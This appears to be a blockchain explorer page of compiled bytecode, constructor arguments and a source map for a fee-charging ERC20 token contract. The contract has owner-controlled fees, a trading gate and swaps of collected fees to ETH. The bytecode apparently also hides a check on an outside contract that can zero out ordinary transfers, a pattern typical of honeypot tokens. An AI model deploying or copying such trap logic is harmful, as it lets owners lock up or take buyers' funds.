5050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead5f9081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba5460015491926104f99290916104f39190610a75565b90610a75565b905090565b5f60105460035461050d61048e565b6105179190611421565b6104f99190611438565b5f61052d848484610a80565b61057e843361057985604051806060016040528060288152602001611553602891396001600160a01b038a165f9081526006602090815260408083203384529091529020549190610b73565b610952565b5060015b9392505050565b5f546001600160a01b031633146105bb5760405162461bcd60e51b81526004016105b290611457565b60405180910390fd5b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461060e5760405162461bcd60e51b81526004016105b290611457565b61062f61271061062984600154610b9e90919063ffffffff16565b90610ba9565b60125560015461064790612710906106299084610b9e565b6013555050565b5f546001600160a01b031633146106775760405162461bcd60e51b81526004016105b290611457565b6106805f6108d6565b565b5f546001600160a01b031633146106ab5760405162461bcd60e51b81526004016105b290611457565b600b849055600c8390556106bf8385611477565b600d8190556106cf908390611477565b600e55600f819055601054600d54118015906106ef5750601054600e5411155b6107615760405162461bcd60e51b815260206004820152603860248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201527f6f7265207468616e207468652064656e6f6d696e61746f72000000000000000060648201526084016105b2565b50505050565b5f60105460045461050d61048e565b5f60105460025461050d61048e565b5f610484338484610a80565b5f546001600160a01b031633146107ba5760405162461bcd60e51b81526004016105b290611457565b5f612710846107c761048e565b6107d19190611421565b6107db9190611438565b90505f612710846107ea61048e565b6107f49190611421565b6107fe9190611438565b90505f6127108461080d61048e565b6108179190611421565b6108219190611438565b60028790556003869055600485905590505f61084c6103e8610629600561084661048e565b90610b9e565b905080841015801561085e5750808310155b801561086a5750808210155b6108cd5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016105b2565b50505050505050565b5f546001600160a01b031633146108ff5760405162461bcd60e51b81526004016105b290611457565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b2565b6001600160a01b038216610a155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b2565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610582828461148a565b610a8b838383610bb4565b610a958383610ce0565b610a9f8383610d73565b5f610aaa8484610d8a565b610ab45781610abf565b610abf848484610dce565b6001600160a01b0385165f90815260056020526040902054909150610ae49082610a75565b6001600160a01b038086165f908152600560205260408082209390935590851681522054610b129083610f0a565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b659086815260200190565b60405180910390a350505050565b5f8184841115610b965760405162461bcd60e51b81526004016105b29190611249565b505050900390565b5f6105828284611421565b5f6105828284611438565b6001600160a01b038316610c185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b2565b6001600160a01b038216610c7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b2565b5f8111610cdb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b2565b505050565b6001600160a01b0382165f9081526007602052604090205460ff16158015610d2057506001600160a01b0381165f9081526007602052604090205460ff16155b15610d6f57600a54600160a01b900460ff16610d6f5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016105b2565b5050565b610d7d8282610f15565b15610d6f57610d6f610fa9565b6001600160a01b0382165f9081526007602052604081205460ff161580156105825750506001600160a01b03165f9081526007602052604090205460ff1615919050565b5f80610dda85856110af565b1115610e82575f610dfc610dee86866110af565b601054610846908690610ba9565b305f90815260056020526040902054909150610e189082610f0a565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e689085815260200190565b60405180910390a3610e7a8382610a75565b915050610582565b600954604051636eb1769f60e11b81526001600160a01b03868116600483015285811660248301529091169063dd62ed3e90604401602060405180830381865afa158015610ed2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ef6919061149d565b5f03610f0357505f610582565b5092915050565b5f6105828284611477565b601254305f908152600560205260408120546011549192111590610100900460ff16158015610f46575060115460ff165b8015610f5b5750600a54600160a01b900460ff165b8015610f7f57506001600160a01b0384165f9081526007602052604090205460ff16155b8015610f985750600a546001600160a01b038481169116145b8015610fa15750805b949350505050565b6011805461ff001916610100179055305f9081526005602052604081205490505f610fec600c54610fe66001600b54610f0a90919063ffffffff16565b90610f0a565b9050610ff7826110f9565b475f6110038284610ba9565b90505f61101b600b5483610b9e90919063ffffffff16565b9050801561105c576015546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561105a573d5f803e3d5ffd5b505b47801561109c576014546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561109a573d5f803e3d5ffd5b505b50506011805461ff001916905550505050565b600a545f906001600160a01b03908116908316036110d05750600e54610488565b600a546001600160a01b03908116908416036110ef5750600d54610488565b50600f5492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061112c5761112c6114b4565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111a791906114c8565b816001815181106111ba576111ba6114b4565b6001600160a01b0392831660209182029290920101526008546111e09130911684610952565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906112189085905f908690309042906004016114e3565b5f604051808303815f87803b15801561122f575f80fd5b505af1158015611241573d5f803e3d5ffd5b505050505050565b5f6020808352835180828501525f5b8181101561127457858101830151858201604001528201611258565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112a8575f80fd5b50565b5f80604083850312156112bc575f80fd5b82356112c781611294565b946020939093013593505050565b5f805f606084860312156112e7575f80fd5b83356112f281611294565b9250602084013561130281611294565b929592945050506040919091013590565b5f60208284031215611323575f80fd5b813561058281611294565b5f806040838503121561133f575f80fd5b823561134a81611294565b91506020830135801515811461135e575f80fd5b809150509250929050565b5f806040838503121561137a575f80fd5b50508035926020909101359150565b5f805f806080858703121561139c575f80fd5b5050823594602084013594506040840135936060013592509050565b5f80604083850312156113c9575f80fd5b82356113d481611294565b9150602083013561135e81611294565b5f805f606084860312156113f6575f80fd5b505081359360208301359350604090920135919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104885761048861140d565b5f8261145257634e487b7160e01b5f52601260045260245ffd5b500490565b60208082526006908201526510a7aba722a960d11b604082015260600190565b808201808211156104885761048861140d565b818103818111156104885761048861140d565b5f602082840312156114ad575f80fd5b5051919050565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156114d8575f80fd5b815161058281611294565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156115315784516001600160a01b03168352938301939183019160010161150c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202f600ebb07295678fc035ed16fbb0d2261d430c535529841f29b567ad31a5f7f64736f6c63430008140033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000b4bea3068c8c51dd7603b764740cbe6b58ef79e6
-----Decoded View---------------
Arg [0] : _uniRouter (address): 0xb4BEa3068C8C51DD7603b764740CbE6b58eF79E6
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000b4bea3068c8c51dd7603b764740cbe6b58ef79e6
Deployed Bytecode Sourcemap
5742:11657:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7934:83;;;;;;;;;;-1:-1:-1;8004:5:0;;;;;;;;;;;;-1:-1:-1;;;8004:5:0;;;;7934:83;;;;;;;:::i;:::-;;;;;;;;8933:184;;;;;;;;;;-1:-1:-1;8933:184:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8933:184:0;1023:187:1;9125:148:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;9125:148:0;1215:177:1;9560:137:0;;;;;;;;;;;;;:::i;16611:442::-;;;;;;;;;;-1:-1:-1;16611:442:0;;;;;:::i;:::-;;:::i;8211:81::-;;;;;;;;;;;;8263:14;:21;;-1:-1:-1;;;;8263:21:0;-1:-1:-1;;;8263:21:0;;;8211:81;;;3872:103;;;;;;;;;;-1:-1:-1;3872:103:0;;;;;:::i;:::-;3927:4;3962:5;-1:-1:-1;;;;;3951:16:0;;;3962:5;;3951:16;;3872:103;8120:83;;;;;;;;;;-1:-1:-1;8120:83:0;;6036:2;2252:36:1;;2240:2;2225:18;8120:83:0;2110:184:1;6369:43:0;;;;;;;;;;-1:-1:-1;6369:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8801:124;;;;;;;;;;-1:-1:-1;8801:124:0;;;;;:::i;:::-;;:::i;14981:290::-;;;;;;;;;;-1:-1:-1;14981:290:0;;;;;:::i;:::-;;:::i;4119:94::-;;;;;;;;;;;;;:::i;10812:527::-;;;;;;;;;;-1:-1:-1;10812:527:0;;;;;:::i;:::-;;:::i;8300:119::-;;;;;;;;;;-1:-1:-1;8300:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8393:18:0;8366:7;8393:18;;;:9;:18;;;;;;;8300:119;9281:132;;;;;;;;;;;;;:::i;9421:131::-;;;;;;;;;;;;;:::i;8025:87::-;;;;;;;;;;-1:-1:-1;8097:7:0;;;;;;;;;;;;-1:-1:-1;;;8097:7:0;;;;8025:87;;6464:19;;;;;;;;;;-1:-1:-1;6464:19:0;;;;-1:-1:-1;;;;;6464:19:0;;;;;;-1:-1:-1;;;;;3527:32:1;;;3509:51;;3497:2;3482:18;6464:19:0;3363:203:1;8427:190:0;;;;;;;;;;-1:-1:-1;8427:190:0;;;;;:::i;:::-;;:::i;8625:168::-;;;;;;;;;;-1:-1:-1;8625:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;8758:18:0;;;8731:7;8758:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8625:168;11347:713;;;;;;;;;;-1:-1:-1;11347:713:0;;;;;:::i;:::-;;:::i;3983:128::-;;;;;;;;;;-1:-1:-1;3983:128:0;;;;;:::i;:::-;;:::i;8933:184::-;9033:4;9050:37;9059:10;9071:7;9080:6;9050:8;:37::i;:::-;-1:-1:-1;9105:4:0;8933:184;;;;;:::o;9125:148::-;8393:9;:18;;;;5850:42;9178:7;8393:18;;;;;9205:12;;9178:7;;9205:60;;8393:18;;9205:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;9198:67;;9125:148;:::o;9560:137::-;9611:7;9678:11;;9655:19;;9639:13;:11;:13::i;:::-;:35;;;;:::i;:::-;9638:51;;;;:::i;16611:442::-;16743:4;16760:36;16770:6;16778:9;16789:6;16760:9;:36::i;:::-;16807:216;16830:6;16851:10;16876:136;16930:6;16876:136;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16876:19:0;;;;;;:11;:19;;;;;;;;16896:10;16876:31;;;;;;;;;:136;:35;:136::i;:::-;16807:8;:216::i;:::-;-1:-1:-1;17041:4:0;16611:442;;;;;;:::o;8801:124::-;3927:4;3962:5;-1:-1:-1;;;;;3962:5:0;3822:10;3951:16;3806:38;;;;-1:-1:-1;;;3806:38:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;8885:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8885:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8801:124::o;14981:290::-;3927:4;3962:5;-1:-1:-1;;;;;3962:5:0;3822:10;3951:16;3806:38;;;;-1:-1:-1;;;3806:38:0;;;;;;;:::i;:::-;15130:52:::1;15175:5;15130:32;15147:14;15130:12;;:16;;:32;;;;:::i;:::-;:36:::0;::::1;:52::i;:::-;15114:13;:68:::0;15210:12:::1;::::0;:53:::1;::::0;15256:5:::1;::::0;15210:33:::1;::::0;15227:15;15210:16:::1;:33::i;:53::-;15193:14;:70:::0;-1:-1:-1;;14981:290:0:o;4119:94::-;3927:4;3962:5;-1:-1:-1;;;;;3962:5:0;3822:10;3951:16;3806:38;;;;-1:-1:-1;;;3806:38:0;;;;;;;:::i;:::-;4176:29:::1;4202:1;4176:17;:29::i;:::-;4119:94::o:0;10812:527::-;3927:4;3962:5;-1:-1:-1;;;;;3962:5:0;3822:10;3951:16;3806:38;;;;-1:-1:-1;;;3806:38:0;;;;;;;:::i;:::-;10980:12:::1;:25:::0;;;11016:14:::1;:29:::0;;;11067:25:::1;11033:12:::0;10995:10;11067:25:::1;:::i;:::-;11056:8;:36:::0;;;11113:21:::1;::::0;11124:10;;11113:21:::1;:::i;:::-;11103:7;:31:::0;11145:11:::1;:20:::0;;;11210:11:::1;::::0;11198:8:::1;::::0;:23:::1;::::0;::::1;::::0;:49:::1;;;11236:11;;11225:7;;:22;;11198:49;11176:155;;;::::0;-1:-1:-1;;;11176:155:0;;5478:2:1;11176:155:0::1;::::0;::::1;5460:21:1::0;5517:2;5497:18;;;5490:30;5556:34;5536:18;;;5529:62;5627:26;5607:18;;;5600:54;5671:19;;11176:155:0::1;5276:420:1::0;11176:155:0::1;10812:527:::0;;;;:::o;9281:132::-;9329:7;9394:11;;9373:17;;9357:13;:11;:13::i;9421:131::-;9466:7;9533:11;;9510:19;;9494:13;:11;:13::i;8427:190::-;8530:4;8547:40;8557:10;8569:9;8580:6;8547:9;:40::i;11347:713::-;3927:4;3962:5;-1:-1:-1;;;;;3962:5:0;3822:10;3951:16;3806:38;;;;-1:-1:-1;;;3806:38:0;;;;;;;:::i;:::-;11499:13:::1;11545:5;11532:9;11516:13;:11;:13::i;:::-;:25;;;;:::i;:::-;11515:35;;;;:::i;:::-;11499:51;;11561:19;11619:5;11600:15;11584:13;:11;:13::i;:::-;:31;;;;:::i;:::-;11583:41;;;;:::i;:::-;11561:63;;11635:17;11689:5;11672:13;11656;:11;:13::i;:::-;:29;;;;:::i;:::-;11655:39;;;;:::i;:::-;11705:19;:31:::0;;;11747:19:::1;:37:::0;;;11795:17:::1;:33:::0;;;11635:59;-1:-1:-1;;11855:30:0::1;11880:4;11855:20;11873:1;11855:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;11839:46;;11927:5;11918;:14;;:38;;;;;11951:5;11936:11;:20;;11918:38;:60;;;;;11973:5;11960:9;:18;;11918:60;11896:156;;;::::0;-1:-1:-1;;;11896:156:0;;5903:2:1;11896:156:0::1;::::0;::::1;5885:21:1::0;5942:2;5922:18;;;5915:30;5981:34;5961:18;;;5954:62;-1:-1:-1;;;6032:18:1;;;6025:44;6086:19;;11896:156:0::1;5701:410:1::0;11896:156:0::1;11488:572;;;;11347:713:::0;;;:::o;3983:128::-;3927:4;3962:5;-1:-1:-1;;;;;3962:5:0;3822:10;3951:16;3806:38;;;;-1:-1:-1;;;3806:38:0;;;;;;;:::i;:::-;4051:5:::1;:11:::0;;-1:-1:-1;;;;;;4051:11:0::1;-1:-1:-1::0;;;;;4051:11:0;::::1;::::0;;::::1;::::0;;;4078:25:::1;::::0;3509:51:1;;;4078:25:0::1;::::0;3497:2:1;3482:18;4078:25:0::1;;;;;;;3983:128:::0;:::o;17061:335::-;-1:-1:-1;;;;;17154:19:0;;17146:68;;;;-1:-1:-1;;;17146:68:0;;6318:2:1;17146:68:0;;;6300:21:1;6357:2;6337:18;;;6330:30;6396:34;6376:18;;;6369:62;-1:-1:-1;;;6447:18:1;;;6440:34;6491:19;;17146:68:0;6116:400:1;17146:68:0;-1:-1:-1;;;;;17233:21:0;;17225:68;;;;-1:-1:-1;;;17225:68:0;;6723:2:1;17225:68:0;;;6705:21:1;6762:2;6742:18;;;6735:30;6801:34;6781:18;;;6774:62;-1:-1:-1;;;6852:18:1;;;6845:32;6894:19;;17225:68:0;6521:398:1;17225:68:0;-1:-1:-1;;;;;17304:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17356:32;;1361:25:1;;;17356:32:0;;1334:18:1;17356:32:0;;;;;;;17061:335;;;:::o;243:98::-;301:7;328:5;332:1;328;:5;:::i;10124:680::-;10247:37;10258:6;10266:9;10277:6;10247:10;:37::i;:::-;10295:38;10315:6;10323:9;10295:19;:38::i;:::-;10452:27;10461:6;10469:9;10452:8;:27::i;:::-;10490:18;10511:32;10525:6;10533:9;10511:13;:32::i;:::-;:104;;10609:6;10511:104;;;10559:34;10567:6;10575:9;10586:6;10559:7;:34::i;:::-;-1:-1:-1;;;;;10646:17:0;;;;;;:9;:17;;;;;;10490:125;;-1:-1:-1;10646:33:0;;10490:125;10646:21;:33::i;:::-;-1:-1:-1;;;;;10626:17:0;;;;;;;:9;:17;;;;;;:53;;;;10713:20;;;;;;;:32;;10738:6;10713:24;:32::i;:::-;-1:-1:-1;;;;;10690:20:0;;;;;;;:9;:20;;;;;;;:55;;;;10761:35;;;;;;;;;;10789:6;1361:25:1;;1349:2;1334:18;;1215:177;10761:35:0;;;;;;;;10236:568;10124:680;;;:::o;1908:240::-;2028:7;2089:12;2081:6;;;;2073:29;;;;-1:-1:-1;;;2073:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2124:5:0;;;1908:240::o;349:98::-;407:7;434:5;438:1;434;:5;:::i;455:98::-;513:7;540:5;544:1;540;:5;:::i;9705:411::-;-1:-1:-1;;;;;9843:20:0;;9835:70;;;;-1:-1:-1;;;9835:70:0;;7259:2:1;9835:70:0;;;7241:21:1;7298:2;7278:18;;;7271:30;7337:34;7317:18;;;7310:62;-1:-1:-1;;;7388:18:1;;;7381:35;7433:19;;9835:70:0;7057:401:1;9835:70:0;-1:-1:-1;;;;;9924:23:0;;9916:71;;;;-1:-1:-1;;;9916:71:0;;7665:2:1;9916:71:0;;;7647:21:1;7704:2;7684:18;;;7677:30;7743:34;7723:18;;;7716:62;-1:-1:-1;;;7794:18:1;;;7787:33;7837:19;;9916:71:0;7463:399:1;9916:71:0;10037:1;10020:6;:19;9998:110;;;;-1:-1:-1;;;9998:110:0;;8069:2:1;9998:110:0;;;8051:21:1;8108:2;8088:18;;;8081:30;8147:34;8127:18;;;8120:62;-1:-1:-1;;;8198:18:1;;;8191:39;8247:19;;9998:110:0;7867:405:1;9998:110:0;9705:411;;;:::o;12068:242::-;-1:-1:-1;;;;;12187:19:0;;;;;;:11;:19;;;;;;;;12186:20;:47;;;;-1:-1:-1;;;;;;12211:22:0;;;;;;:11;:22;;;;;;;;12210:23;12186:47;12182:121;;;12258:14;;-1:-1:-1;;;12258:14:0;;;;12250:41;;;;-1:-1:-1;;;12250:41:0;;8479:2:1;12250:41:0;;;8461:21:1;8518:2;8498:18;;;8491:30;-1:-1:-1;;;8537:18:1;;;8530:44;8591:18;;12250:41:0;8277:338:1;12250:41:0;12068:242;;:::o;15279:187::-;15381:33;15396:6;15404:9;15381:14;:33::i;:::-;15377:82;;;15431:16;:14;:16::i;15474:185::-;-1:-1:-1;;;;;15605:19:0;;15580:4;15605:19;;;:11;:19;;;;;;;;15604:20;:47;;;;-1:-1:-1;;;;;;;15629:22:0;;;;;:11;:22;;;;;;;;15628:23;;15474:185;-1:-1:-1;15474:185:0:o;15667:632::-;15787:7;15844:1;15811:30;15823:6;15831:9;15811:11;:30::i;:::-;:34;15807:461;;;15862:17;15882:91;15928:30;15940:6;15948:9;15928:11;:30::i;:::-;15893:11;;15882:23;;:6;;:10;:23::i;:91::-;16033:4;16015:24;;;;:9;:24;;;;;;15862:111;;-1:-1:-1;16015:39:0;;15862:111;16015:28;:39::i;:::-;16006:4;15988:24;;;;:9;:24;;;;;;;:66;;;;16074:42;;-1:-1:-1;;;;;16074:42:0;;;;;;;16106:9;1361:25:1;;1349:2;1334:18;;1215:177;16074:42:0;;;;;;;;16138:21;:6;16149:9;16138:10;:21::i;:::-;16131:28;;;;;15807:461;16187:9;;16180:46;;-1:-1:-1;;;16180:46:0;;-1:-1:-1;;;;;8850:15:1;;;16180:46:0;;;8832:34:1;8902:15;;;8882:18;;;8875:43;16187:9:0;;;;16180:27;;8767:18:1;;16180:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16230:1;16180:51;16177:91;;-1:-1:-1;16255:1:0;16248:8;;16177:91;-1:-1:-1;16285:6:0;15667:632;-1:-1:-1;;15667:632:0:o;137:98::-;195:7;222:5;226:1;222;:5;:::i;14577:396::-;14751:13;;14741:4;14684;8393:18;;;:9;:18;;;;;;14796:8;;14684:4;;-1:-1:-1;14723:41:0;;14796:8;;;;;14795:9;:37;;;;-1:-1:-1;14821:11:0;;;;14795:37;:68;;;;-1:-1:-1;14849:14:0;;-1:-1:-1;;;14849:14:0;;;;14795:68;:105;;;;-1:-1:-1;;;;;;14881:19:0;;;;;;:11;:19;;;;;;;;14880:20;14795:105;:139;;;;-1:-1:-1;14930:4:0;;-1:-1:-1;;;;;14917:17:0;;;14930:4;;14917:17;14795:139;:170;;;;;14951:14;14795:170;14775:190;14577:396;-1:-1:-1;;;;14577:396:0:o;13396:721::-;6995:8;:15;;-1:-1:-1;;6995:15:0;;;;;13488:4:::1;-1:-1:-1::0;8393:18:0;;;:9;:18;;;;;;13453:41:::1;;13505:20;13543:39;13567:14;;13543:19;13560:1;13543:12;;:16;;:19;;;;:::i;:::-;:23:::0;::::1;:39::i;:::-;13505:88;;13606:24;13623:6;13606:16;:24::i;:::-;13664:21;13641:20;13718:30;13664:21:::0;13735:12;13718:16:::1;:30::i;:::-;13696:52;;13761:20;13784:29;13800:12;;13784:11;:15;;:29;;;;:::i;:::-;13761:52:::0;-1:-1:-1;13828:16:0;;13824:99:::1;;13869:18;::::0;13861:50:::1;::::0;-1:-1:-1;;;;;13869:18:0;;::::1;::::0;13861:50;::::1;;;::::0;13898:12;;13869:18:::1;13861:50:::0;13869:18;13861:50;13898:12;13869:18;13861:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13824:99;13960:21;13996:29:::0;;13992:118:::1;;14050:20;::::0;14042:56:::1;::::0;-1:-1:-1;;;;;14050:20:0;;::::1;::::0;14042:56;::::1;;;::::0;14081:16;;14050:20:::1;14042:56:::0;14050:20;14042:56;14081:16;14050:20;14042:56;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13992:118;-1:-1:-1::0;;7033:8:0;:16;;-1:-1:-1;;7033:16:0;;;-1:-1:-1;;;;13396:721:0:o;16307:296::-;16448:4;;16411:7;;-1:-1:-1;;;;;16448:4:0;;;16435:17;;;;16431:64;;-1:-1:-1;16476:7:0;;16469:14;;16431:64;16519:4;;-1:-1:-1;;;;;16519:4:0;;;16509:14;;;;16505:62;;-1:-1:-1;16547:8:0;;16540:15;;16505:62;-1:-1:-1;16584:11:0;;16307:296;;;;:::o;14125:444::-;14215:16;;;14229:1;14215:16;;;;;;;;14191:21;;14215:16;;;;;;;;;;-1:-1:-1;14215:16:0;14191:40;;14260:4;14242;14247:1;14242:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14242:23:0;;;:7;;;;;;;;;;:23;;;;14286:6;;:13;;;-1:-1:-1;;;14286:13:0;;;;:6;;;;;:11;;:13;;;;;14242:7;;14286:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14276:4;14281:1;14276:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14276:23:0;;;:7;;;;;;;;;:23;14342:6;;14310:53;;14327:4;;14342:6;14351:11;14310:8;:53::i;:::-;14374:6;;:187;;-1:-1:-1;;;14374:187:0;;-1:-1:-1;;;;;14374:6:0;;;;:57;;:187;;14446:11;;14374:6;;14488:4;;14515;;14535:15;;14374:187;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14180:389;14125:444;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2299:416::-;2364:6;2372;2425:2;2413:9;2404:7;2400:23;2396:32;2393:52;;;2441:1;2438;2431:12;2393:52;2480:9;2467:23;2499:31;2524:5;2499:31;:::i;:::-;2549:5;-1:-1:-1;2606:2:1;2591:18;;2578:32;2648:15;;2641:23;2629:36;;2619:64;;2679:1;2676;2669:12;2619:64;2702:7;2692:17;;;2299:416;;;;;:::o;2720:248::-;2788:6;2796;2849:2;2837:9;2828:7;2824:23;2820:32;2817:52;;;2865:1;2862;2855:12;2817:52;-1:-1:-1;;2888:23:1;;;2958:2;2943:18;;;2930:32;;-1:-1:-1;2720:248:1:o;2973:385::-;3059:6;3067;3075;3083;3136:3;3124:9;3115:7;3111:23;3107:33;3104:53;;;3153:1;3150;3143:12;3104:53;-1:-1:-1;;3176:23:1;;;3246:2;3231:18;;3218:32;;-1:-1:-1;3297:2:1;3282:18;;3269:32;;3348:2;3333:18;3320:32;;-1:-1:-1;2973:385:1;-1:-1:-1;2973:385:1:o;3571:388::-;3639:6;3647;3700:2;3688:9;3679:7;3675:23;3671:32;3668:52;;;3716:1;3713;3706:12;3668:52;3755:9;3742:23;3774:31;3799:5;3774:31;:::i;:::-;3824:5;-1:-1:-1;3881:2:1;3866:18;;3853:32;3894:33;3853:32;3894:33;:::i;3964:316::-;4041:6;4049;4057;4110:2;4098:9;4089:7;4085:23;4081:32;4078:52;;;4126:1;4123;4116:12;4078:52;-1:-1:-1;;4149:23:1;;;4219:2;4204:18;;4191:32;;-1:-1:-1;4270:2:1;4255:18;;;4242:32;;3964:316;-1:-1:-1;3964:316:1:o;4285:127::-;4346:10;4341:3;4337:20;4334:1;4327:31;4377:4;4374:1;4367:15;4401:4;4398:1;4391:15;4417:168;4490:9;;;4521;;4538:15;;;4532:22;;4518:37;4508:71;;4559:18;;:::i;4590:217::-;4630:1;4656;4646:132;;4700:10;4695:3;4691:20;4688:1;4681:31;4735:4;4732:1;4725:15;4763:4;4760:1;4753:15;4646:132;-1:-1:-1;4792:9:1;;4590:217::o;4812:329::-;5014:2;4996:21;;;5053:1;5033:18;;;5026:29;-1:-1:-1;;;5086:2:1;5071:18;;5064:36;5132:2;5117:18;;4812:329::o;5146:125::-;5211:9;;;5232:10;;;5229:36;;;5245:18;;:::i;6924:128::-;6991:9;;;7012:11;;;7009:37;;;7026:18;;:::i;8929:184::-;8999:6;9052:2;9040:9;9031:7;9027:23;9023:32;9020:52;;;9068:1;9065;9058:12;9020:52;-1:-1:-1;9091:16:1;;8929:184;-1:-1:-1;8929:184:1:o;9250:127::-;9311:10;9306:3;9302:20;9299:1;9292:31;9342:4;9339:1;9332:15;9366:4;9363:1;9356:15;9382:251;9452:6;9505:2;9493:9;9484:7;9480:23;9476:32;9473:52;;;9521:1;9518;9511:12;9473:52;9553:9;9547:16;9572:31;9597:5;9572:31;:::i;9638:980::-;9900:4;9948:3;9937:9;9933:19;9979:6;9968:9;9961:25;10005:2;10043:6;10038:2;10027:9;10023:18;10016:34;10086:3;10081:2;10070:9;10066:18;10059:31;10110:6;10145;10139:13;10176:6;10168;10161:22;10214:3;10203:9;10199:19;10192:26;;10253:2;10245:6;10241:15;10227:29;;10274:1;10284:195;10298:6;10295:1;10292:13;10284:195;;;10363:13;;-1:-1:-1;;;;;10359:39:1;10347:52;;10454:15;;;;10419:12;;;;10395:1;10313:9;10284:195;;;-1:-1:-1;;;;;;;10535:32:1;;;;10530:2;10515: